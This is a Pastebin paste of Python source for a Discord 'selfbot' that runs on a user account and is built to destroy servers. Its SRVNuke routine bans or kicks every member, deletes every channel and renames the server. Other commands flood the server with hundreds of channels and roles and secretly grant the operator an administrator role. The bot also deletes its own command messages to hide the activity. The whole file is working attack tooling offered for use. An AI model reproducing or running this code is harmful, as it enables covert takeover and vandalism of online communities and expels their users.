Advertisement
Guest User

Discord Selfbot

a guest
Oct 3rd, 2019
1,663
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.75 KB | None | 0 0
  1. import discord,re,os,click,clint,asyncio,time,string,random
  2. from collections import defaultdict
  3. from discord import Forbidden, Webhook
  4.  
  5. asyncloop = asyncio.get_event_loop() #Make an event loop incase things have to be waited for. (ex. deleting loading messages at the correct time)
  6. client = discord.Client(loop=asyncloop)
  7. botOwner = 507396563463831553 #Big Boi The Second#6174
  8.  
  9. CNTasks = defaultdict(list)
  10.  
  11. async def SRVNuke(message, nukedmsg="Blazon Is Epic", channame="sorry for party rocking"):
  12. try:
  13. await message.delete()
  14. except:
  15. print("Failed to delete command message. Cover may be blown.")
  16.  
  17. print('Target locked: "'+message.guild.name+'" Designated by: "'+message.author.name+'#'+message.author.discriminator+'"')
  18. print('|----- SRV-Nuke -----|')
  19. print("Permissions:")
  20. print("Banning? : "+str(message.guild.me.guild_permissions.ban_members))
  21. print("Kicking? : "+str(message.guild.me.guild_permissions.kick_members))
  22. print("Manage Server? : "+str(message.guild.me.guild_permissions.manage_guild))
  23. print("Manage Channels? : "+str(message.guild.me.guild_permissions.manage_channels))
  24. print("\n",end='')
  25.  
  26. toprole = message.guild.me.top_role
  27.  
  28. members = [x for x in message.guild.members]
  29. for member in members:
  30. if int(member.id) == int(botOwner) or int(member.id) == int(message.author.id):
  31. print('Ignored Bot Owner on server: "'+member.guild.name+'"')
  32. continue
  33. elif int(member.id) == int(client.user.id):
  34. print('Ignored Client (Self) on server: "'+member.guild.name+'"')
  35. continue
  36. try:
  37. if message.guild.me.guild_permissions.ban_members and toprole.position > member.top_role.position:
  38. await member.ban()
  39. print("Banned member: \""+member.name+'#'+member.discriminator+'" from server: "'+str(member.guild)+'"')
  40. elif message.guild.me.guild_permissions.kick_members and toprole.position > member.top_role.position:
  41. await member.kick()
  42. print("Ban failed, Kicked member: \""+member.name+'#'+member.discriminator+'" from server: "'+str(member.guild)+'"')
  43. else:
  44. print('Forbidden to ban/kick member: "'+member.name+'" on server "'+member.guild.name+'"')
  45. except Forbidden:
  46. print("Forbidden to kick/ban member: \""+member.name+'#'+member.discriminator+'" from server: "'+member.guild.name+'"')
  47. continue
  48.  
  49. channels = [x for x in message.guild.channels]
  50. for channel in channels:
  51. try:
  52. await channel.delete()
  53. print("Deleted a channel named: \""+channel.name+"\" on server: \""+str(message.guild)+'"')
  54. except Forbidden:
  55. print("Forbidden to delete a channel named: \""+channel.name+"\" on server: \""+str(message.guild)+'" (exception)')
  56. continue
  57.  
  58. await message.guild.create_text_channel(channame)
  59. if message.guild.me.guild_permissions.manage_guild == True:
  60. await message.guild.edit(name=nukedmsg,icon=None)
  61. print("Changed server properties of: \""+message.guild.name+'"')
  62. else:
  63. print("Bot is forbidden to change server properties of: \""+message.guild.name+'"')
  64. #await message.guild.leave()
  65. print("|----- SRV-Nuke -----|\n")
  66.  
  67. async def CFlood(message):
  68. try:
  69. await message.delete()
  70. except:
  71. print("Failed to delete command message. Cover may be blown.")
  72.  
  73. print('Target locked: "'+message.guild.name+'" Designated by: "'+message.author.name+'#'+message.author.discriminator+'"')
  74. print('|----- CFlood -----|')
  75. print("Permissions:")
  76. print("Manage Channels? : "+str(message.guild.me.guild_permissions.manage_channels))
  77. print("\n",end='')
  78. if message.guild.me.guild_permissions.manage_channels:
  79. for x in range(500):
  80. try:
  81. chan = await message.guild.create_text_channel(str(x + 1))
  82. except discord.errors.HTTPException as err:
  83. if err.text == 'Maximum number of guild channels reached (500)':
  84. print("Maximum number of guild channels reached in server: \""+message.guild.name+'"')
  85. break
  86. else: raise
  87. print('Created channel: "'+chan.name+'" on server: "'+message.guild.name+'"')
  88. else:
  89. print("Forbidden to CFlood server: \""+message.guild.name+'"')
  90. print("|----- CFlood -----|\n")
  91.  
  92. async def RFlood(message):
  93. try:
  94. await message.delete()
  95. except:
  96. print("Failed to delete command message. Cover may be blown.")
  97.  
  98. print('Target locked: "'+message.guild.name+'" Designated by: "'+message.author.name+'#'+message.author.discriminator+'"')
  99. print('|----- RFlood -----|')
  100. print("Permissions:")
  101. print("Manage Roles? : "+str(message.guild.me.guild_permissions.manage_roles))
  102. print("\n",end='')
  103. if message.guild.me.guild_permissions.manage_roles:
  104. for x in range(500):
  105. try:
  106. role = await message.guild.create_role(name=str(x + 1),mentionable=True)
  107. except discord.errors.HTTPException as err:
  108. if err.text == 'Maximum number of guild roles reached (250)':
  109. print("Maximum number of guild roles reached in server: \""+message.guild.name+'"')
  110. break
  111. else: raise
  112. print('Created role: "'+role.name+'" on server: "'+message.guild.name+'"')
  113. else:
  114. print("Forbidden to RFlood server: \""+message.guild.name+'"')
  115. print("|----- RFlood -----|\n")
  116.  
  117. def id_generator(size=6, chars=string.ascii_uppercase + "`~!@#$%^&*()-_=+|]}[{'\";:,<.>/?"):
  118. return ''.join(random.choice(chars) for _ in range(size))
  119.  
  120. async def SetStatusInvisible(message):
  121. try:
  122. await message.delete()
  123. except:
  124. print("Failed to delete command message. Cover may be blown.")
  125.  
  126. await client.change_presence(status=discord.Status.invisible)
  127.  
  128. async def SetStatusOnline(message):
  129. try:
  130. await message.delete()
  131. except:
  132. print("Failed to delete command message. Cover may be blown.")
  133.  
  134. await client.change_presence(status=discord.Status.online)
  135.  
  136. async def ChangeNameOn(message):
  137. try:
  138. await message.delete()
  139. except:
  140. pass
  141. await message.guild.me.edit(nick=str(id_generator()))
  142. await asyncio.sleep(1.5)
  143. CNTasks[message.guild.id].append(asyncio.ensure_future(ChangeNameOn(message)))
  144.  
  145. async def ChangeNameOff(message):
  146. try:
  147. await message.delete()
  148. except:
  149. pass
  150. print('Killing ChangeName tasks for server: "'+message.guild.name+'"')
  151. for x in CNTasks[message.guild.id]:
  152. x.cancel()
  153. else:
  154. del CNTasks[message.guild.id]
  155.  
  156. async def GiveAdmin(message):
  157. try:
  158. await message.delete()
  159. except:
  160. pass
  161. sorole = await message.guild.create_role(name="B-29 V9 Pilot", permissions=discord.Permissions(permissions=8))
  162. toprole = message.guild.me.top_role.position - 1
  163. await sorole.edit(position=toprole)
  164. await message.author.add_roles(sorole)
  165.  
  166. def rmmsg_predicate(message):
  167. return not message.author.bot
  168.  
  169. async def RemoveMyMessages(message):
  170. async for msg in message.channel.history().filter(lambda message: message.author.id == client.user.id):
  171. await msg.delete()
  172. await asyncio.sleep(.1)
  173.  
  174.  
  175. @client.event
  176. async def on_message(message):
  177. if message.author.id != client.user.id:
  178. return
  179. elif message.content.lower() == 'srvnuke': #Server Nuke
  180. await SRVNuke(message)
  181. elif message.content.lower() == 'cflood': #Channel Flood
  182. await CFlood(message)
  183. elif message.content.lower() == 'rflood': #Role Flood
  184. await RFlood(message)
  185. elif message.content == "ssi": #Set Status Invisible
  186. await SetStatusInvisible(message)
  187. elif message.content == "sso": #Set Status Online
  188. await SetStatusOnline(message)
  189. elif message.content == "cno": #Change Name On
  190. await ChangeNameOn(message)
  191. print('Starting ChangeName for server: "'+message.guild.name+'"')
  192. elif message.content == "cnoff": #Change Name Off
  193. await ChangeNameOff(message)
  194. elif message.content == "gay": #Give Admin
  195. await GiveAdmin(message)
  196. elif message.content == "rm messages":
  197. await RemoveMyMessages(message)
  198.  
  199. @client.event
  200. async def on_ready():
  201. print('--------------------------')
  202. print('Login successful.')
  203. print("NAME: "+str(client.user.name)+'#'+str(client.user.discriminator))
  204. print("ID: "+str(client.user.id))
  205. print("Blazons Hot Stuff is ready to drop the bombs.")
  206. print("(Formerly Blazons Nuke)")
  207. print('----------------------')
  208.  
  209. client.run('', bot=False)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement